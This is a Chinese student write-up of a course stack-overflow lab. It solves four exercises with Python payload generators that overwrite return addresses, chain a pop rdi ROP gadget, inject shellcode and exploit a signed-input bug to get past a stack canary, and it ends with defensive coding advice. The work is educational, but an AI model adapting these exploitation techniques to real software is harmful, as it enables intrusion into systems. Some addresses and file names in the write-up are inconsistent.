

栈溢出攻击实验

题目解决思路

Problem 1:

- 分析:

Problem1程序中的func函数使用不安全的strcpy函数将用户输入复制到固定大小的缓冲区中。分析汇编代码发现缓冲区大小为24字节，但strcpy没有进行长度检查，导致可以覆盖函数的返回地址。目标是跳转到func1函数，该函数地址为0x401216。

- 解决方案:

```
offset = 16

func1_address = 0x401216
func1_bytes = func1_address.to_bytes(8, 'little')

padding = b'A' * offset
payload = padding + func1_bytes

with open("ans1.txt", "wb") as f:
    f.write(payload)
```

- 结果:

```
● muwan@LAPTOP-JU271NOK:~/attack-lab-ChrysosNeiko$ ./problem1 ans1.txt
Do you like ICS?
Yes! I like ICS!
```

Problem 2:

- 分析:

Problem2开启了NX保护，栈上的代码不可执行。目标仍是执行func2函数，但该函数需要参数0x3f8。程序提供了pop rdi; retgadget（地址0x4012c7），可用于设置RDI寄存器值。

- 解决方案:

```
offset = 16

pop_rdi_addr = 0x4012c7
func2_param = 0x3f8
func2_addr = 0x401216

padding = b'A' * offset
pop_rdi_gadget = pop_rdi_addr.to_bytes(8, 'little')
parameter = func2_param.to_bytes(8, 'little')
target_func = func2_addr.to_bytes(8, 'little')

payload = padding + pop_rdi_gadget + parameter + target_func

with open("ans2_corrected.txt", "wb") as f:
    f.write(payload)
```

- 结果:

```
• muwan@LAPTOP-JU271NOK:~/attack-lab-ChrysosNeiko$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes! I like ICS!
```

Problem 3:

- 分析:

Problem3的缓冲区空间有限，且需要注入并执行shellcode。关键发现是程序提供了jmp_xs函数（地址0x401334），该函数会从全局变量saved_rsp读取值，加上0x10后跳转。这正好指向我们的缓冲区起始位置，为执行shellcode创造了条件。

- 解决方案:

```
shellcode = b"\xbf\x72\x00\x00\x00" # mov edi, 0x72
shellcode += b"\x68\x16\x12\x40\x00" # push 0x401216 (func1地址)
shellcode += b"\xc3" # ret
```

```
offset = 40 # 缓冲区到返回地址的偏移
padding_length = offset - len(shellcode)
padding = b"A" * padding_length
```

```
jmp_xs_addr = 0x401334
return_addr = jmp_xs_addr.to_bytes(8, 'little')
```

```
payload = shellcode + padding + return_addr
```

```
with open("ans3.txt", "wb") as f:
    f.write(payload)
```

- 结果:

```
muwan@LAPTOP-JU271NOK:~/attack-lab-ChrysosNeiko$ ./problem3 ans3.txt
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
```

Problem 4:

- 分析:

Problem4使用Canary机制,在缓冲区与返回地址之间放置了特殊值,函数返回前会验证该值是否被修改。直接覆盖返回地址会触发__stack_chk_fail导致程序终止。程序漏洞为输入特定值-1,可以使程序满足执行func1的条件而不触发Canary检查。

- 解决方案:无payload,只需输入-1即可

- 结果:

```
muwan@LAPTOP-JU271NOK:~/attack-lab-ChrysosNeiko$ ./problem4
hi please tell me what is your name?
strange?
hi! do you like ics?
emmm,yes
if you give me enough yuanshi,I will let you pass!
-1
your money is 4294967295
great!I will give you great scores
```

思考与总结

通过完成这四个渐进式难度的栈溢出实验，我深入理解了栈溢出攻击的基本原理、各种保护机制及其绕过技术：

栈溢出基本原理：理解了函数调用栈的结构（缓冲区、保存的rbp、返回地址），以及如何通过溢出覆盖返回地址来控制程序执行流。

保护机制与绕过技术：

NX保护：通过ROP技术利用程序中现有的gadget链实现攻击目标。

Canary保护：通过逻辑漏洞而非直接溢出实现攻击，避免了触发保护机制。

ASLR：实验中关闭了地址随机化，实际环境中需要结合信息泄漏技术。

作为开发者，我们应避免使用危险函数（如strcpy、gets），启用所有安全编译选项，并进行严格的输入验证。

参考资料

《PC平台逆向破解实验》 - CSDN博客

《SeedLab2: Buffer Overflow Vulnerability Lab》 - CSDN博客